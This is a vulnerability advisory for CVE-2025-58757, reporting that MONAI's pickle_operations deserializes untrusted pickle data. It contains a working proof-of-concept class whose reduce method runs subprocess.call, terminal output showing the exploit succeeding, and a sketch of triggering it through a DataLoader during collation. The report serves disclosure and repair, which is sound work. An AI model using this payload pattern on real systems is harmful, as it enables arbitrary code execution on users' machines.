CVE-2025-58757: MONAI's unsafe use of Pickle deserialization may lead to RCE

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary The pickleoperations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur. #Poc from monai.data.utils import pickleoperations

import pickle import subprocess class MaliciousPayload: def reduce(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) maliciousdata = pickle.dumps(MaliciousPayload())

attackdata = { 'image': 'normalimagedata', 'labeltransforms': maliciousdata, 'metadatatransforms': maliciousdata }

result = pickleoperations(attackdata, isencode=False)

#My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful. #Running Poc root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content. maliciousdata = { 'image': normalimagetensor, 'label': normallabeltensor, 'preprocessingtransforms': pickle.dumps(MaliciousPayload()), # Malicious payload 'augmentationtransforms': pickle.dumps(MaliciousPayload()) # Multiple attack points }

dataset = [maliciousdata, ...] When a user batch-processes data using MONAI's listdatacollate function, the system automatically calls pickleoperations to handle the serialization transformations. from monai.data import listdatacollate

dataloader = DataLoader( dataset, batchsize=4, collatefn=listdatacollate # Trigger the vulnerability )

Automatically execute malicious code while traversing the data

for batch in dataloader:

Malicious code is executed in pickleoperations

pass When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.